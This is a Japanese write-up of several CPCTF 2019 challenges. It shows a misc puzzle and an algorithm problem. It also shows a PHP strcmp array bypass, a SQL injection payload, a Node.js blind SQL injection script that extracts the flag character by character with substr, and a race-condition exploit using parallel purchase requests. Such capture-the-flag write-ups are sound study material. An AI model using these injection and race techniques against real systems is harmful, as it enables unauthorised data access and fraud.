CPCTF 2019 writeup

CPCTF 2019 writeup

300↑の問題

CPCTFデジタル創作同好会traPの新歓CTFですが新入生以外も参加することができました
今回は作問等に参加していなかったので参加しました


Misk [300] Undo

サーバーにアクセスするとFLAGが書かれているであろうファイルflag.txtが存在するが、中身は空である
隠しファイルに.undo/%home%undo%flag.txtというファイルがあるので開く
上のほうにFLAG_..{..}が書いてあるのでそれを提出


PPC [300] Long Seat

N人の客が

  • 空いていれば両端
  • 空いている区間のちょうど中央
    • 手すりがあるとずれる

に順に座る
手すりを自由に配置することができる
求めるのは手すりの最小数

関数f(n)区間nのときに必要な手すりの最小数とすると
f(n)

  • n <= 1
    • f(n) = 0
  • nが奇数
    • f(n) = f(n/2) * 2
      • 中央に座ってくれるのでこの区間で増加することはない
  • nが偶数
    • f(n) = 1 + f(n/2) + f(n/2 - 1)
      • 手すりを置かなければならないので1加算される

となる
何度か呼ばれるかもしれないのでメモ化した


Web [400] C5

ソースコードを読むと、難読化されているjsがいることがわかる
また、ボタンを押してもポストしていない
js うー にゃーで調べると(」・ω・)」うー!(/・ω・)/にゃー!encodeが出てくる
いろいろやったが、結局のところボタンのイベントハンドラを見ると素のjsが書いてあるのでFLAGが見えるのでそれを提出


Web [300] S1

ソースコードを読むと、リクエストと不明な文字列を比較してることがわかる
strcmpに配列が投げられるとNULLになるらしい(php strcmp ctfで調べた)
pass[]='a', pass[]='b'など適当なPOSTを投げるとFLAGがわかるのでそれを提出(Postmanを使った)


Web [300] S2

ソースコードを読むと、鯖側ではsqliteを使い、パスワードを保管していることがわかる
SQL文が生で書かれているため、SQLインジェクションが可能である
' OR '' ='という文字列を投げるとFLAGが返ってくるのでそれを提出


Web [400] S4

これもS2と同じくSQLインジェクションが可能だが、条件が真のときに返ってくる文字列は自分が提出したものである
ただ、条件が真であるかは判定することができるので、sqlitesubstrを使い、1文字ずつ判定を行えば良い
likeでも同様なことができそうだが、大文字小文字の区別がつかないらしい(結局フラグは小文字のみだったが)
nodeで書いた↓

const axios = require('axios')

function isok (txt) {
  return /Nice/.test(txt)
}

let moji = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_{}"

let ok = async (txt) => {
  let params = new URLSearchParams();
  params.append('pass', txt);
  axios.post("http://<problem URL>", params).then(res => {
    if (isok(res.data)) {
      console.log(txt)
    }
  })
}
let build = (i, a) => `' OR substr(Flag, ${i}, 1) = '${a}`

// 上限があるのでjの数値は適度にずらす
for (let j = 0; j < 5; j++) {
  for (let i = 0; i < moji.length; i++) {
    ok(build(j, moji[i]))
  }
}

Web [400] Stateful

お弁当を買ったり、返品したりできるサイトの問題
返品すると買った金額が返ってくるので、初期金額1000円が増減しない
ソースコードを読むと、鯖側のデータベースで状態の管理を行なっていて、114514円の弁当を購入するとFLAGが返ってくることがわかる
他人の商品を返品しようとしても、拒否されるのでどうにか所持金額を増やす必要がある
SQL文を見ると所持金の計算はアプリケーション側で行なっているが、トランザクションを発行していないことがわかる
購入処理を詰まらせれば所持金が増えるので、devtoolでPromise.all([buy(100), buy(100), .., buy(100)])を繰り返し実行して所持金を114514円に増やしFLAGを得た


感想

前半はWeb問題を解いて、後半は解けそうな問題を解いていった
PPCが思っていたよりも難しく飛ばしてしまったが、他の問題で悩むよりはPPCを解いた方が点数が取れていたかもしれない(終盤解けたのが100/200ばかり)
webの400がそこそこ解けたのでよかった

運営/参加者のみなさんお疲れ様でした!!